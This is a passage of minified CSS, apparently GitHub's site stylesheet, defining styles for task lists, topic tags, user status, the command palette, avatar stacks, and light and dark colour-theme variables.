.octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) 